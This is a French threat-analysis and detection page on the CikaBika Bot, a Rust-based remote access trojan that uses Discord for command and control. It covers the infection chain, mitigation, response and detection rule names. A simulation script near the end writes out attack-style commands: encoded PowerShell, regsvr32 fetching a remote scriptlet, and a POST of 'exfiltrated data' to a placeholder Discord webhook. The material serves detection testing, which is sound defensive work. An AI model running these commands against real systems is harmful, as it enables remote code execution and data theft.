Analyse du Bot CikaBika : Comment le RAT Discord Opère
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le Bot CikaBika est un cheval de Troie d’accès à distance basé sur Rust, distribué via des appâts de phishing tels que des fichiers LNK malveillants et des documents PDF. Le logiciel malveillant utilise un chargeur basé sur Nim pour déclencher un contournement UAC PowerShell et effectuer un détournement de l’ordre de recherche de DLL contre Microsoft Edge. Il s’appuie sur Discord comme plateforme de commande et de contrôle pour gérer les systèmes infectés et exécuter une gamme de commandes malveillantes.
Enquête
Les chercheurs de Darktrace ont analysé la chaîne d’infection commençant par une image disque contenant un raccourci malveillant et un PDF leurre. L’enquête a suivi la charge utile d’un fichier texte temporaire à une DLL détournée placée dans le répertoire d’application de Microsoft Edge. Les chercheurs ont également observé que le RAT utilisait Discord pour la reconnaissance et exploitait ngrok pour l’exfiltration de données.
Atténuation
Les organisations devraient appliquer des contrôles stricts sur l’exécution des fichiers LNK et des images disque obtenus de sources non fiables. Renforcer les paramètres UAC (User Account Control) et surveiller les changements non autorisés du registre impliquant des commandes shell HKLM/HKCU peut aider à empêcher les tentatives de contournement. Les équipes de sécurité devraient également surveiller les processus enfants inhabituels de Microsoft Edge et l’utilisation non autorisée de Discord ou ngrok.
Réponse
Lorsqu’une activité du Bot CikaBika est détectée, isolez les points de terminaison affectés du réseau pour perturber le canal C2 Discord. Effectuez une analyse judiciaire du %TEMP% répertoire et des chemins d’installation de Microsoft Edge pour identifier le dbghelp.dllmalveillant. Passez en revue la télémetrie réseau pour des connexions suspectes impliquant ipify.com ou ngrok pour évaluer l’étendue potentielle de l’exfiltration de données.
Flux d’attaque
Nous mettons encore à jour cette partie.
Détections
Fichier LNK Malveillant Possiblement avec Double Extension (via cmdline)
Appeler des Classes/Méthodes .NET Suspectes à partir de la Ligne de Commande Powershell (via process_creation)
Usage Suspect de CURL (via cmdline)
Appeler des Méthodes .NET Suspectes à partir de Powershell (via powershell)
Appeler des Fonctions API Windows Suspectes à partir de Powershell (via powershell)
Indicateurs Possibles d’Obfuscation Powershell (via powershell)
Service de Tunneling de Port Possible (via dns)
IOCs (HashMd5) à détecter : CikaBika Bot : À l’intérieur d’un RAT Discord
Powershell et Regsvr32 Exécutés pour l’Exfiltration de Données via Discord [Windows Powershell]
Exécution de la Charge Utile RAT Décodée et Reconnaissance des Processus [Windows Process Creation]
Exécution de la Simulation
-
Narratif de l’Attaque & Commandes : L’adversaire a obtenu un accès initial. Pour éviter la détection, il tente d’exécuter une charge utile via une commande PowerShell encodée. La chaîne de commande inclut un commentaire de « contournement UAC PowerShell » fictif pour déclencher la logique de règle spécifique. Ensuite, l’adversaire tente d’utiliser
regsvr32.exepour exécuter un scriptlet distant (simulé via un fichier local pour éviter le bruit réseau pendant le test). Enfin, l’adversaire simule l’exfiltration de données en envoyant une requête POST fictive à une URL webhook Discord via PowerShell. -
Script de test de régression :
# Script de Simulation : Imiter l'Exfiltration Discord de style Cikabika Write-Host "[+] Début de la Simulation..." # 1. Simuler les conditions 'selection_uac_bypass' et 'selection_powershell_encoded' # La commande inclut la chaîne littérale 'PowerShell UAC bypass' et utilise '-enc' $command = "Write-Output 'Chargement Malware'; # PowerShell UAC bypass" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Exécution de PowerShell Encodé avec la Chaîne de Contournement..." powershell.exe -enc $encodedCommand # 2. Simuler 'selection_regsvr32' # Cela déclenche la deuxième partie de la condition 'AND' dans la règle Write-Host "[+] Exécution de Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Simuler 'selection_discord_exfil' # Cela fournit un chemin alternatif pour la deuxième partie de la condition 'AND' Write-Host "[+] Simulation de l'Exfiltration Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Données Exfiltrées"}'" Write-Host "[+] Simulation Complete." -
Commandes de Nettoyage :
# Nettoyage : Supprimer tous les fichiers temporaires créés pendant la simulation (s'il y en a). # Dans cette simulation spécifique, aucun fichier n'a été écrit sur le disque, # mais nous nous assurons que l'arborescence des processus est propre. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Nettoyage Terminé."